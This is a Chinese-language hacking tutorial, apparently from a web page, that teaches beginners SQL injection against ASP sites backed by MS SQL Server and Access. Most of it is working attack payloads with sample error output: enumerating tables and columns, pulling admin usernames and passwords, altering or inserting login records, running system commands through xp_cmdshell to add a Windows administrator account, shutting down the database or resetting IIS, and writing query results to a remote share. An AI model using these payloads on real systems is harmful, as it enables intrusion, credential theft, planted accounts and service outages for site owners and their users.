网上有很多高手GG们写的利用SQL注入如何去黑网站的,偶看了,嘿嘿,
不过可能对于一些初学者而且,有点难。在这里,小林想把这个过时的
东东作一次全面的交待,尽量让没有编程根底的DDMM们很快的拿握这门技术。
利用SQL进展添加,更改,查看记录。
当一台主机台开了80端口,当你手头没有任何 工具,那么,偶们有SQL。
他不需要你其他东东,只要一个浏览器就够了。HOHO,偶的文章菜菜,偶写这
篇文章只是为了让一些对SQL很陌生的菜菜们看的,老鸟绕道。。。
1,什么是SQL注入?
SQL注入,就是利用欺骗的方式,通过网页的查询功能,或查询命令注入。
当用户来到网站,会提交一些?/a>,再到数据库进展查询,确定此用户的身份。
举个简单的例子来说吧,你去一个站点的论坛,那么,你会输入你的用户名和
密码,点\"确定\",网站会通过数据库的查询来判断你是不是他们的用户,
你的用户名和密码是否正确。而利用SQL注入,通过构造特殊的语句,来查找我
们所想要得到的信息,如员的帐号密码。以下,小林用了xxx.xxx. 来表示一个存在注入漏洞的网页。 2,助手篇,
先把IE菜单-工具-Inter选项-高级-显示友好 错误信息前面的勾去掉。
否那么,不管效劳器返回什么错误,我们都只能看到\" 500效劳器错误\",不能获得更多的提示信息 。
3,哪些网页能利用?
我们去找一些要提交数据的网页,如:登陆页面,查找页面,添加页面等
找到后,如果你注意过网页的源代码,那么,你会发现,他上面一般有一个如下的表单:
这些网页,后缀如asp,jsp,cgi,php网页。 如:xxx.xxx./index.asp?id=10
上面这个例子,就是ASP页后,看到他的ID还的值了吗?是10。一般,我们找的就是这些页面
来练手了。(要做个好人噢。(^^)像小林一样的好人。) 4,怎么测试它是存在注入漏洞的呢?这一步偶称它为\"踩点\"。 小林有一个毛病,看什么网页,就要顺手在参数(如上面的10)上加一个小小的引号。
xxx.xxx./index.asp?id=10' 返回错误信息:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 '' 之前有未闭合的引号。
/job/grxx.asp,行141
这就是说,他用的是MsSQL数据库。这个引号,导致引号未闭合的错误。本身就是错的,因为
通常一个整数是不用在SQL里加引号的。 如果他不是一个整数而是字母呢? xxx.xxx./index.asp?user=lamb
那我们就把引号放到lamb中间,如lam'b 呵呵,又出错了吧?
这说明,站点这一部分的代码是大有问题的(当然,就算他有源码公布在网上,我也懒得看) 当然,我们也可以提交:
xxx.xxx./index.asp?id=10 ;AND columnaaa=5 (注,这里的columnaaa是我乱写的) 出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'columnaaa'. /job/grxx.asp,行27
这说明,这是一个SQL,里面没有columnaaa这个字段(我习惯说\"列\")。
利用出错的信息,我们现在多少了解了这个站点的效劳了吧? 5,现在开工啦,偶不喜欢猜测他的字段名,太浪费TIME了,我们要想方法让数据查询中出错。
要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUP BY 或HAVING。如:
xxx.xxx./job/grxx.asp?id=23%20HAVING%201=1-- 出现错误信息:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'article.newsid' is invalid in the
select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/more.asp,行27
看到article.newsid了吗?说明有一个叫article.newsid的列,因为你在用HAVING,所以你必须还要用
上GROUP BY,于是 就重复错误提交,直到没有得到错误。 这里要说明一下:分号在这里别离,%20 是空格,--表示后面是一个注释,也就是说只是说明,不能去 执行代码。(**) 下面是详细例子: 提交:
xxx.xxx./job/grxx.asp?id=23%20HAVING%201=1-- 得到article.newsid这真是好东西。 提交:
xxx.xxx./job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1-- 得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'article.title' is invalid in the
select list because it is not contained in either an aggregate function or the GROUP BY clause.
/more.asp,line 20 得到:
article.title
我们反复地一个一个加上来提交。 得到错误信息:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'adm.userName' is invalid in the
select list because it is not contained in either an aggregate function or the GROUP BY clause.
/more.asp,line 56
这里要注意了,都到哪儿了?到下一个表了。
现在我们知道这里至少有2个表,他们的别名是:adm和article,如里面article对应的是:newsid等 title
利用系统表:
下面,我们要确定表名来参加数据。
系统表是MS-SQL 2000的一部分,名叫sysObjects table,我们将要用到查询union select,。
要从SysObjects table 有天地拿到表名,一般使用下面语句: select name FROM sysObjects where xtype='U' U是指明定议USER的表。
们已经知道了表里的列,
现在他们能在下面加一些数字。甚至如下面的: 在地址栏里打入:
xxx.xxx./job/grxx.asp?id=23%20union%20ALL%20select% ; 201,2,3,4,5,6,name%20FROM%20sysObjects%20where%20xtype='U'--
记住,上面的,1-6数据中,6是我们想要的。不过有时候会出现数据类型错误,
xxx.xxx./job/grxx.asp?id=23%20select ;TOP 1 TABLENAME FROM INFORMATIONSCHEMA.TABLES--
MS SQL效劳将试图去转换一个string (nvarchar)到integer。那么就会出错:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'table1' to a column of data type int. /index.asp, line 5
这个错误信息很\"友好\"地告诉我们string (nvarchar)值不能被转换成integer。
这样,我们就获得了数据表的第一个表名!这个表名就是tabel1。 要获得第二个表名,我们继续,用以下查询:
xxx.xxx./job/grxx.asp?id=23%20union ;select TOP 1 TABLENAME FROM
INFORMATIONSCHEMA.TABLES where TABLENAME NOT IN ('table1')--
也可以用关键字查找数据:
xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 TABLENAME FROM
INFORMATIONSCHEMA.TABLES where TABLENAME like '%25ADMIN%25'-- 现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'adminlogin' to a column of data type int. /index.asp, line 5
寻找与之匹配的值,'%25ADMIN%25'在SQL效劳器上将被认作 %ADMIN%。这样,我们就能获得符合标 准的表名为\"adminlogin\"的表了。 那么,如何获得表里所有的列表?
我们能利用另一个有用的东东,INFORMATIONSCHEMA.COLUMNS 出场!!!
xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 COLUMNNAME FROM
INFORMATIONSCHEMA.COLUMNS where TABLENAME='adminlogin'-- 现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'uid' to a column of data type int. /index.asp, line 6
看,我们有了第一个字段的名,我们用NOT IN () 来获得下一个字段名:
xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 COLUMNNAME FROM
INFORMATIONSCHEMA.COLUMNS where TABLENAME='adminlogin' where COLUMNNAME NOT IN ('uid')-- 现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'uname' to a column of data type int. /index.asp, line 5 我们继续,获得其他列表,
xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 COLUMNNAME FROM
INFORMATIONSCHEMA.COLUMNS where TABLENAME='adminlogin' where COLUMNNAME NOT IN
('uid','uname','password',contents')-- 现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select
list if the statement contains a union operator. /index.asp, line 5
6。2 如何找到我们要找的重要数据呢?
现在我们知道了表名,字段名,我们用相同的方法收集我们要的在数据库里的信息。
现在,我们从\"adminlogin\" 表里取得第一个uname :
xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 uname FROM adminlogin-- 现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'adminroot' to a column of data type int. /index.asp, line 5
我们知道,这里有登陆的用户名叫 \"adminroot\"的管理员。最后,从数据库里获得\"adminroot\" 的密码 :
xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 password FROM adminlogin where uname='adminroot'-- 现在错误信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'root' to a column of data type int. /index.asp, line 5
我们现在能用户名\"adminroot\"密码:\"root\"登陆了。 如何取得数字的值?
以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。
让我们说说如何获得\"tony\"的密码,密码是 \"19840217\": xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 password FROM adminlogin where uname='tony'--
我们很可能发现,该页无法显示的错误。这结果表示,密码\"19840217\"被修改到一个数了。在整
合一个整型(10 也是),因为这是一个有效的整合。所以SQL效劳就不会给出错误的提示了。 我们就得不到数字的登陆了。
要解决这个问题,我们能附加一些字母来测试转换失败。我们用以下的测试来代替:
xxx.xxx./job/grxx.asp?id=23 ;union select TOP 1 convert(int, password%2b'%20lambgirl') FROM adminlogin where uname='tony'--
我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码'+' = 0x2b
我们将添加空格在密码里。所以,如果把我们的密码是'19840217'。他将变成'19840217 lambgirl'.
调出了转换了的函数。试着将'19840217 lambgirl'转变成整型。SQL效劳将出现ODBC错误:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'19840217 lambgirl' to a column of data type int. /index.asp, line 5
现在,你就能用'tony'和密码:'19840217 lambgirl'了。 如何在数据库修改,插入数据?
当我们成功地获得了表名,字段。就很容易在数据库里修改甚至插入新的数据。如更改\"adminroot\" 的密码,我们
xxx.xxx./job/grxx.asp?id=23 ;update 'adminlogin' SET 'password' = 'newpas5' where uname='adminroot'-- 要在数据表里插入新记录,
xxx.xxx./job/grxx.asp?id=23 ;insert INTO 'adminlogin' ('uid', 'uname',
'password', 'contents') valueS (123,'xiaolin','pas','lambgirl')-- 现在,我们就能用xiaolin pas 来登陆了。 如何远程执行SQL漏洞?
能进展SQL注入命令说明,我们能查任何我们想要查的。默认安装的的MS SQL效劳
在系统中权限等于管理员。我们能利用执行存储过程像xpcmdshell 来执行远程破坏:
'; exec master..xpcmdshell 'ping 192.168.0.2'-- (如果单引号不能用,就换成双引号)
分号表示完毕前面的SQL查询,从而允许你开始另一个新的SQL命令。
为了检验命令成功执行,你可以监听从192.168.0.2发出的的ICMP包。查看是否发出包。 #tcpdump icmp
如果你没有接到PING主机的回应,得到一个错误的提示,权限错误,那么,很可能管理员
限制了WEB用户对xpcmdshell 等的权限。 如何找出MYSQL查询结果?
这很容易用spmakewebtask来把你查询的结果放到一个HTML里: '; EXEC master..spmakewebtask
\"\\\\192.168.0.2\\share\\girlxiaolin.html\ INFORMATIONSCHEMA.TABLES\" 但是目标IP必须共享文件夹。
xxx.xxx./job/grxx.asp?id=23 ;;exec master..xpcmdshell \" user name
password /add\"--
xpcmdshell 用于调用系统命令,于是,用命令新建了用户名为name、密码为password
的windows的帐号,接着:
xxx.xxx./job/grxx.asp?id=23 ;;exec master..xpcmdshell \" localgroup name
administrators /add\"--
将新建的帐号name参加管理员组,不过这种方法只于用sa连接数据库的情况,否那么,没有权限调用 xpcmdshell。
其他方面,如利用SQL的命令填写: 将使SQL效劳快速关闭
用户名: '; shutdown with nowait; -- 密码: 不填
导致严重问题,网络故障。
用户名: '; exec master..xpcmdshell 'iisreset'; -- 密码:不填
关于ACCESS部分,
和ASSQL差不了多少,也是先在xxx.xxx./index.asp?id=10' 出错的话,继续提交: 先测试是否有ADMIN表,
xxx.xxx./index.asp?id=10 and 0<>(select count(*) from admin) xxx.xxx./index.asp?id=10 and 1=(select count(*) from admin) 没有的话,就换一个名字,如user啊,什么的。再猜里面是否有username这个字段.
and 1=(select count(*) from admin where len(username)>0) 如果出错,同理,我们也可以给它换一个名字。 接下来我们猜用户的详细名字。
and 1=(select count(*) from admin where left(username,1)=l) 这时我们可以一个一个地来猜。
and 1=(select count(*) from admin where left(username,2)=la) 接下来猜密码,猜密码的道理同猜用户名一样。
and 1=(select count(*) from admin where left(password,1)=l)
因篇幅问题不能全部显示,请点此查看更多更全内容